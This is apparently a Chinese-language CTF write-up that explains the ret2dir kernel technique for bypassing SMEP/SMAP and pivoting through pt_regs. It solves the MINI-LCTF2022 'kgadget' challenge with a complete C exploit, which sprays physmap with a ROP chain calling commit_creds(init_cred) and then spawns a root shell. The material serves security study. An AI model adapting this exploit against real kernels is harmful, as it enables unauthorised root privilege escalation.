介绍
ret2dir
是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,
原论文见此处: ret2dir原文论文
ret2dir原理
在开启了smep/smap
后,内核空间到用户空间的直接访问被禁止,也就是传统的ret2usr
失效了,如下图(图片来源于论文)。
为饶过这种限制,原文作者找到了一段区域,可以隐式的访问到用户空间数据。在内核空间就能访问到用户空间的数据,该区域也被称为phsymap
,是很大一段的虚拟内存,映射了整个物理内存。
这片区域叫做:direct mapping of all physical memory
这个映射区其实就是内核空间会与物理地址空间进行线性的映射,我们可以在这段区域直接访问到物理地址对应的内容。
下图就是在论文中对ret2dir
这种攻击的示例图,不和ret2usr
一样,指针不是指向用户空间,而是指向直接映射区域,在用户空间构造的payload
也会映射到物理地址,所以只要在phsymap区域
找到用户空间的payload
就能执行。在高版本内核中 direct mapping area
没有可执行权限需要通过ROP利用。
因此若能获得指向存在payload
的用户空间对应的物理地址在phsymap
位置,就能够直接执行用户空间的payload
- 通过读取
/proc/pid/pagemap
可获取映射地址,该文件中存放了物理地址与虚拟地址的映射关系,可是该文件需要root
权限才能读取. - 利用
堆喷技术
往phsymap
区域填充大量payload
,提高命中概率。
ret2dir手法总结:
- 利用mmap或者堆喷技术在用户空间喷射大量相同的payload
- 随机挑选direct mapping area上的地址,大概率命中写入的payload
pt_regs
系统调用:用户态布置好相应的参数后执行 syscall
进入到内核中的 entry_SYSCALL_64
,随后通过系统调用表
跳转到对应的函数
entry_SYSCALL_64
:当程序进入到内核态时,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体
,该结构体实质上位于内核栈底.
entry_SYSCALL_64
定义在arch/x86/entry/entry_64.S
pt_regs
定义在arch/x86/include/asm/ptrace.h
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
内核栈只有一个页面的大小,而pt_regs
固定在内核栈底部,当可以劫持到rip
的时候,需要通过rop
来控制rsp
可以使用到pt_regs
来构造ROP。
注意:
在内核版本
5.13
之前pt_regs 结构体
和栈顶的偏移值基本是固定的(因为内核栈只有一个 page),通常可以借助add rsp, val ; ret 的 gadget
劫持一处函数指针就能实现进一步ROP
利用。但是,在
5.13 及之后
的do_syscall_64
函数入口处,新增了一行
add_random_kstack_offset();
,来源于 2021 年 的一个 commit,效果是在栈底的pt_regs
之上放了一个不超过 0x3FF 的偏移,使得利用的稳定性大幅下降。
模板:
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);
系统调用在内核栈的底部会被压入形成pt_regs结构体,如果这个时候控制了rip
,使用add rsp,0xn;ret;
配合pt_regs
完成ROP
。
MINI-LCTF2022 - kgadget
先看run.sh
开了smep/smap
但是没开Kaslr
kgadget_ioctl(漏洞点)
当我们输入的操作码为0x1BF52
时,会将rdx寄存器
中的值
进行解引用,并且以函数的方式调用该地址,这就导致了任意地址执行。
利用
程序很简单,就是传入数据(rdx)
,然后再做了清除pt_regs
操作之后,call [rdx](call rbx)
,这里pt_regs
没清理完全还有r8 r9
残留可以使用
但是开了smep/sma
p,直接在内核态执行用户代码会报错,没开kaslr
,现在只能控制rip
,可以利用pt_regs
手法劫持rsp
跳到direct区域
,然后使用mmap
在phsymap
喷射大量提权payload
,然后利用direct地址映射访问payload
然后返回用户态getshell
这里先给出exp
然后一步步调试
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0+0x1b;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t ret = 0xffffffff810001fc;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t add_rsp_ = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
size_t target;
int fd;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell(){
if(getuid()==0){
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}else{
puts("[-] get root shell failed.");
exit(-1);
}
}
void copy_dir(){
size_t *payload;
size_t idx = 0;
payload = mmap(NULL,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
for(int i =0;i<(4096-0xc0-0x58)/8;i++){
payload[idx++] = add_rsp_;
}
for(int j = 0;j<0xc0/8;j++){
payload[idx++] = ret;
}
payload[idx++] = pop_rdi_ret;
payload[idx++] = init_cred;
payload[idx++] = commit_creds;
payload[idx++] = swapgs_restore_regs_and_return_to_usermode;
payload[idx++] = 0;
payload[idx++] = 0;
payload[idx++] = (size_t)get_shell;
payload[idx++] = user_cs;
payload[idx++] = user_rflags;
payload[idx++] = user_sp;
payload[idx++] = user_ss;
}
int main(){
save_status();
fd = open("/dev/kgadget",O_RDWR);
for(int i =0;i<0x4000;i++){
copy_dir();
}
target = 0xFFFF888000000000 + 0x6000000;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, pop_rsp_ret;"
"mov r8, target;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, target;"
"mov rsi, 0x1bf52;"
"mov rdi, fd;"
"mov rax, 0x10;"
"syscall"
);
return 0;
}
先在调用ioctl
后要执行call rbx
前下断点:
b *0xffffffffc0002000+0x160
然后查看栈的数据:
可以看到pt_regs
已经被压入栈,并且我们的r8,r9
寄存器还是我们想要的值。
后续利用pt_regs
控制rsp
到直接映射区。
先看看映射区的内容吧:
可以看到phsymap
区域的值通过映射已经填上了我们用户空间的payload
然后si继续执行,通过call rbx
成功执行我们的小部分payload
因为这时 rsp
并不在phsymap区域上
,如果我们没有改变r8 r9
寄存器的值,当我们执行完 pop rbp; ret
后就不能执行phsymap
区域上后面的代码了,而是ret
到其它地方。
但我们这里把r9改成了pop rsp的地址
,r8是我们要跳到的phsymap地址
,通过栈迁移,把rsp
改到我们的phsymap区域
,如下:
可以看到我们把栈都迁移到我们的phsymap
区域了,然后依次执行我们的ROP
补充:
一
利用extract-vmlinux ./bzImage > ./vmlinux
提取vmlinux时提取不了
可以用vmlinux-to-elf
这个工具
vmlinux-to-elf ./bzImage vmlinux
二
如同之前内核ROP,我们同样需要找到swapgs、iretq
等语句,但是在本题当中并未寻找到满足的gadget
,但是我们将vmlinux
拖入IDA进行分析可以获知出题人在内核种提供了一个函数名叫swapgs_restoer_regs_and_return_to_usermode
,如下:
.text:FFFFFFFF81C00FB0 public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81C00FB0 swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81C00FB0 ; CODE XREF: ret_from_fork+15↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+54↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+65↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+74↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+87↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+94↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+A3↑j
.text:FFFFFFFF81C00FB0 ; error_return+E↓j
.text:FFFFFFFF81C00FB0 ; asm_exc_nmi+93↓j
.text:FFFFFFFF81C00FB0 ; entry_SYSENTER_compat_after_hwframe+4F↓j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_compat_after_hwframe+47↓j
.text:FFFFFFFF81C00FB0 ; entry_INT80_compat+85↓j
.text:FFFFFFFF81C00FB0 ; DATA XREF: print_graph_irq+D↑o
.text:FFFFFFFF81C00FB0 ; print_graph_entry+59↑o
.text:FFFFFFFF81C00FB0 90 nop ; Alternative name is '__irqentry_text_end'
.text:FFFFFFFF81C00FB1 90 nop
.text:FFFFFFFF81C00FB2 90 nop
.text:FFFFFFFF81C00FB3 90 nop
.text:FFFFFFFF81C00FB4 90 nop
.text:FFFFFFFF81C00FB5 41 5F pop r15
.text:FFFFFFFF81C00FB7 41 5E pop r14
.text:FFFFFFFF81C00FB9 41 5D pop r13
.text:FFFFFFFF81C00FBB 41 5C pop r12
.text:FFFFFFFF81C00FBD 5D pop rbp
.text:FFFFFFFF81C00FBE 5B pop rbx
.text:FFFFFFFF81C00FBF 41 5B pop r11
.text:FFFFFFFF81C00FC1 41 5A pop r10
.text:FFFFFFFF81C00FC3 41 59 pop r9
.text:FFFFFFFF81C00FC5 41 58 pop r8
.text:FFFFFFFF81C00FC7 58 pop rax
.text:FFFFFFFF81C00FC8 59 pop rcx
.text:FFFFFFFF81C00FC9 5A pop rdx
.text:FFFFFFFF81C00FCA 5E pop rsi ;直到这里可以发现咱们是在主动恢复一些当时中断保存的pt_regs寄存器组
.text:FFFFFFFF81C00FCB 48 89 E7 mov rdi, rsp ;我们可以跳过这些寄存器直接开整
.text:FFFFFFFF81C00FCE 65 48 8B 24 25 04 60 00 00 mov rsp, gs:qword_6004
.text:FFFFFFFF81C00FD7 FF 77 30 push qword ptr [rdi+30h]
.text:FFFFFFFF81C00FDA FF 77 28 push qword ptr [rdi+28h]
.text:FFFFFFFF81C00FDD FF 77 20 push qword ptr [rdi+20h]
.text:FFFFFFFF81C00FE0 FF 77 18 push qword ptr [rdi+18h]
.text:FFFFFFFF81C00FE3 FF 77 10 push qword ptr [rdi+10h]
.text:FFFFFFFF81C00FE6 FF 37 push qword ptr [rdi]
.text:FFFFFFFF81C00FE8 50 push rax
.text:FFFFFFFF81C00FE9 EB 43 jmp short loc_FFFFFFFF81C0102E
...........
.text:FFFFFFFF81C0102E loc_FFFFFFFF81C0102E: ; CODE XREF: swapgs_restore_regs_and_return_to_usermode+39↑j
.text:FFFFFFFF81C0102E 58 pop rax ;这里pop了两个值,所以需要在ROP种填充
.text:FFFFFFFF81C0102F 5F pop rdi
.text:FFFFFFFF81C01030 0F 01 F8 swapgs
.text:FFFFFFFF81C01033 FF 25 47 8D E4 00 jmp cs:off_FFFFFFFF82A49D80 ;iretq
从这个名字也可以看出他是为了在中断例程结束后,从内核态返回用户态时所调用的函数,他首先会pop大量的寄存器来还原当时的环境,这里我们并不需要,所以我们需要的开始执行的地址就从0xFFFFFFFF81C00FCB
进行咱们的利用,从这力同样可以返回用户态,因此这就是我们所需要的。